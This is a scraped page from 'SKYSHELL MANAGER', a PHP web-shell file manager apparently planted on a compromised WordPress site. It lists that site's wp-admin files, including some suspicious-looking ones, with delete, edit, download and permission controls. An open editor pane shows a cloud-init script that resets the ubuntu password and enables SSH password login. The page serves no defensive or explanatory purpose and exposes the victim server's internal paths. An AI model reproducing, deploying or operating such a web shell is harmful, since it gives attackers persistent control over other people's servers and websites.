📁
SKYSHELL MANAGER
PHP v8.2.27
Create
Create
Path:
root
/
var
/
www
/
canadatc50_3_usr
/
data
/
www
/
lucky-woman.com
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📁
wk
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-ajax.php
5.03 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-functions.php
0.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
contribute.php
5.86 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-link-form.php
6.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-tag-form.php
10.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-tags.php
22 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
erase-personal-data.php
7.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
freedoms.php
4.8 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
install.php
17.77 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
link-add.php
0.91 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
link-parse-opml.php
2.72 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
link.php
2.89 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-sites.php
0.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
my-sites.php
4.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
options-discussion.php
15.92 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
options-media.php
6.38 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
options-privacy.php
9.95 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
panel.php
6.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
post-new.php
2.7 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.34 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy-policy-guide.php
3.67 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
site-editor.php
11.98 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update-core.php
45.45 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.79 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
upgrade.php
6.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
upload.php
14.9 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.36 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
6.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: uncloud-init
#!/bin/sh # This file is part of cloud-init. See LICENSE file for license information. # This script is meant to "kvmify" an image. Its not meant to be # terribly robust, or a good idea to ever run in a "real image". # its' only intended method of invocation is from the kernel as 'init' # in which case it will then invoke /sbin/init after it is done # init=/path/to/kvmify-init KEY="xupdate" UMOUNT="" RMDIR="" MARK=/var/lib/cloud/sem/uncloud-init.once ROOT_RW="" doexec() { if [ -n "$ROOT_RW" ]; then mkdir -p "${MARK%/*}"; date > "${MARK}"; fi cleanup; log "invoking /sbin/init $*" exec /sbin/init "$@"; } log() { echo "::${0##*/}:" "$@"; } cleanup() { [ -z "${UMOUNT}" ] || { umount "${UMOUNT}" && unset UMOUNT; } [ -z "${RMDIR}" ] || { rm -Rf "${RMDIR}" && unset RMDIR; } [ -z "${ROOT_RW}" ] || { mount -o remount,ro / ; unset ROOT_RW; } } updateFrom() { local dev=$1 fmt=$2 local mp=""; [ "${fmt}" = "tar" -o "${fmt}" = "mnt" ] || { log FAIL "unknown format ${fmt}"; return 1; } log INFO "updating from ${dev} format ${fmt}" [ ! -e "${dev}" -a -e "/dev/${dev}" ] && dev="/dev/${dev}" [ -e "${dev}" ] || { echo "no file $dev"; return 2; } mp=$(mktemp -d "${TEMPDIR:-/tmp}/update.XXXXXX") && RMDIR="${mp}" || { log FAIL "failed to mktemp"; return 1; } if [ "$fmt" = "tar" ]; then dd "if=${dev}" | ( tar -C "${mp}" -xf - ) || { log FAIL "failed to extract ${dev}"; return 1; } elif [ "$fmt" = "mnt" ]; then mount -o ro "${dev}" "${mp}" && UMOUNT=${mp} || { log FAIL "failed mount ${mp}"; return 1; } else log FAIL "unknown format ${fmt}"; return 1; fi if [ -d "${mp}/updates" ]; then rsync -av "${mp}/updates/" "/" || { log FAIL "failed rsync updates/ /"; return 1; } fi if [ -f "${mp}/updates.tar" ]; then tar -C / -xvf "${mp}/updates.tar" || { log FAIL "failed tar -C / -xvf ${mp}/updates.tar"; return 1; } fi script="${mp}/updates.script" if [ -f "${script}" -a -x "${script}" ]; then MP_DIR=${mp} "${mp}/updates.script" || { log FAIL "failed to run updates.script"; return 1; } fi } fail() { { [ $# -eq 0 ] && log "FAILING" ; } || log "$@"; exit 1; } [ -s "$MARK" ] && { log "already updated" ; doexec "$@"; } mount -o remount,rw / || fail "failed to mount rw" ROOT_RW=1 if [ ! -e /proc/cmdline ]; then mount -t proc /proc /proc read cmdline < /proc/cmdline umount /proc else read cmdline < /proc/cmdline fi ubuntu_pass="" for x in ${cmdline}; do case "$x" in ${KEY}=*) val=${x#${KEY}=} dev=${val%:*} [ "${dev}" = "${val}" ] && fmt="" || fmt=${val#${dev}:} log "update from ${dev},${fmt}" updateFrom "${dev}" "${fmt}" || fail "update failed" log "end update ${dev},${fmt}" ;; ubuntu-pass=*|ubuntu_pass=*) ubuntu_pass=${x#*=};; helpmount) helpmount=1;; root=*) rootspec=${x#root=};; esac done if [ "${ubuntu_pass}" = "R" -o "${ubuntu_pass}" = "random" ]; then ubuntu_pass=$(python -c 'import string, random; random.seed(); print "".join(random.sample(string.letters+string.digits, 8))') log "setting ubuntu pass = ${ubuntu_pass}" printf "\n===\nubuntu_pass = %s\n===\n" "${ubuntu_pass}" >/dev/ttyS0 fi [ -z "${ubuntu_pass}" ] || printf "ubuntu:%s\n" "${ubuntu_pass}" > /root/ubuntu-user-pass if [ -e /root/ubuntu-user-pass ]; then log "changing ubuntu user's password!" chpasswd < /root/ubuntu-user-pass || log "FAIL: failed changing pass" fi cp /etc/init/tty2.conf /etc/init/ttyS0.conf && sed -i s,tty2,ttyS0,g /etc/init/ttyS0.conf 2>/dev/null && log "enabled console on ttyS0" pa=PasswordAuthentication sed -i "s,${pa} no,${pa} yes," /etc/ssh/sshd_config 2>/dev/null && log "enabled passwd auth in ssh" || log "failed to enable passwd ssh" grep -q vga16fb /etc/modprobe.d/blacklist.conf || { echo "blacklist vga16fb" >> /etc/modprobe.d/blacklist.conf && log "blacklisted vga16fb" } #lstr="${rootspec}" #if ! grep -q "^${lstr}[[:space:]]" /etc/fstab; then # log "changing / in /etc/ftab to agree with cmdline (${lstr}) (bug 509841)" # sed -i "s,^\([^[[:space:]#]\+\)\([[:space:]]\+\)/\([[:space:]]\+\),${lstr}\2/\3," /etc/fstab #fi doexec "$@"
Save